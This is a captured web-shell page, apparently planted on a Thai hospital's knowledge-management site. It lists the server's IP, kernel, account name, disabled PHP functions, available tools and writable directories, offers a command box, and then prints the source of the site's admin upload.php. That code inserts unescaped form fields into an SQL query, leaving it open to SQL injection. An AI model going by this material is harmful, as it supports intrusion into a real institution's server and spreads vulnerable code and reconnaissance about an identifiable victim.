403Webshell
Server IP : 104.21.73.108  /  Your IP : 216.73.216.59
Web Server : Apache/2
System : Linux cat167-197.static.lnwhostname.com 5.10.0-20-amd64 #1 SMP Debian 5.10.158-2 (2022-12-13) x86_64
User : paphayomho ( 1042)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/paphayomho/domains/paphayomhospital.go.th/private_html/km_paphayom/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/paphayomho/domains/paphayomhospital.go.th/private_html/km_paphayom//upload.php
<?php
session_start();
include 'db.php';

// ตรวจสอบสิทธิ์: ต้องล็อกอินและเป็น admin เท่านั้น
if (!isset($_SESSION['user_id']) || $_SESSION['role'] !== 'admin') {
    echo "<script>alert('เฉพาะผู้ดูแลระบบเท่านั้นที่สามารถเข้าหน้านี้ได้'); window.location='index.php';</script>";
    exit;
}

if (isset($_POST['submit'])) {
    $title = $conn->real_escape_string($_POST['title']);
    $cat = $_POST['cat'];
    $type = $_POST['type'];
    
    // จัดการไฟล์
    $file_name = $_FILES['file']['name'];
    $file_tmp = $_FILES['file']['tmp_name'];
    $ext = strtolower(pathinfo($file_name, PATHINFO_EXTENSION));
    
    // ตั้งชื่อไฟล์ใหม่เพื่อป้องกันชื่อซ้ำ: km_timestamp_ชื่อเดิม
    $new_name = "km_" . time() . "_" . $file_name;
    $path = "uploads/" . $new_name;

    // อนุญาตเฉพาะไฟล์เอกสาร และเพิ่มไฟล์รูปภาพ (jpg, jpeg, png, gif)
    $allowed = array('pdf', 'doc', 'docx', 'xls', 'xlsx', 'ppt', 'pptx', 'jpg', 'jpeg', 'png', 'gif');

    if (in_array($ext, $allowed)) {
        if (move_uploaded_file($file_tmp, $path)) {
            $sql = "INSERT INTO km_documents (cat_id, doc_title, doc_type, file_url) 
                    VALUES ('$cat', '$title', '$type', '$new_name')";
            if ($conn->query($sql)) {
                echo "<script>alert('บันทึกเอกสารเรียบร้อยแล้ว'); window.location='index.php';</script>";
            }
        } else {
            $error = "เกิดข้อผิดพลาดในการอัปโหลดไฟล์";
        }
    } else {
        $error = "นามสกุลไฟล์ไม่ถูกต้อง (อนุญาต PDF, Word, Excel, PPT และรูปภาพ JPG, PNG)";
    }
}
?>
<!DOCTYPE html>
<html lang="th">
<head>
    <meta charset="UTF-8">
    <title>อัปโหลดเอกสาร KM - รพ.ป่าพะยอม</title>
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
    <link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.0.0/css/all.min.css">
    <style>
        body { background-color: #f8fbff; font-family: 'Sarabun', sans-serif; }
        .card { border-radius: 15px; border-top: 5px solid #0056b3; }
        .btn-primary { background-color: #0056b3; }
    </style>
</head>
<body>
<div class="container mt-5">
    <div class="card shadow-sm mx-auto" style="max-width: 600px;">
        <div class="card-body p-4">
            <h4 class="text-primary mb-4"><i class="fas fa-upload me-2"></i> อัปโหลดเอกสารความรู้</h4>
            
            <?php if(isset($error)) echo "<div class='alert alert-danger'>$error</div>"; ?>

            <form method="POST" enctype="multipart/form-data">
                <div class="mb-3">
                    <label class="form-label">ชื่อเอกสาร / หัวข้อการเรียนรู้</label>
                    <input type="text" name="title" class="form-control" placeholder="เช่น แนวทางเวชปฏิบัติการดูแลผู้ป่วย Sepsis" required>
                </div>

                <div class="row">
                    <div class="col-md-6 mb-3">
                        <label class="form-label">หมวดหมู่มาตรฐาน HA</label>
                        <select name="cat" class="form-select" required>
                            <?php 
                            $cats = $conn->query("SELECT * FROM ha_categories");
                            while($c = $cats->fetch_assoc()) echo "<option value='{$c['cat_id']}'>{$c['cat_code']} - {$c['cat_name_th']}</option>";
                            ?>
                        </select>
                    </div>
                    <div class="col-md-6 mb-3">
                        <label class="form-label">ประเภทเอกสาร</label>
                        <select name="type" class="form-select">
                            <option value="CPG">แนวทางเวชปฏิบัติ (CPG)</option>
                            <option value="WI">วิธีปฏิบัติงาน (WI)</option>
                            <option value="KM_STORY">ถอดบทเรียน (Lesson Learned)</option>
                        </select>
                    </div>
                </div>

                <div class="mb-4">
                    <label class="form-label">เลือกไฟล์เอกสารหรือรูปภาพ</label>
                    <input type="file" name="file" class="form-control" required>
                    <div class="form-text">รองรับไฟล์ PDF, Word, Excel, PPT และรูปภาพ (JPG, PNG, GIF)</div>
                </div>

                <div class="d-grid gap-2">
                    <button type="submit" name="submit" class="btn btn-primary text-white"><i class="fas fa-save me-1"></i> บันทึกข้อมูล</button>
                    <a href="index.php" class="btn btn-light border">ยกเลิก</a>
                </div>
            </form>
        </div>
    </div>
</div>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit